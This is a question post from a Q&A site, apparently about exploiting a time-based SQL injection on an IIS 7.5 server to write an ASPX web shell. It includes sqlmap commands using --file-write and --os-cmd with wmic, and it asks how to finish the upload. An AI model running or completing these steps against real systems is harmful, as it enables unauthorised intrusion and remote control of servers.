I am dealing with a time-based SQLi in a Microsoft IIS 7.5 Server and I want to upload a shell.

My approach is to get the internal application path, and then, try to upload a file with sqlmap --file-write "shell.aspx" --file-dest "C:/<The Web APP Path>".

I am trying to get the path with ->

sqlmap -u <url> --random-agent --no-escape --dbms=mssql --time-sec=9 --os-cmd="wmic process where name='w3wp.exe' get ExecutablePath

But I get the response:

No instances,

so that make me thing the IIS process is not running there, as w3wp.exe is the IIS process name. That would have given me the Executable Path, not the app path though, I don't know how to get it.

How would you leverage this scenario and successfuly upload a shell? (I am DBA by the way)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.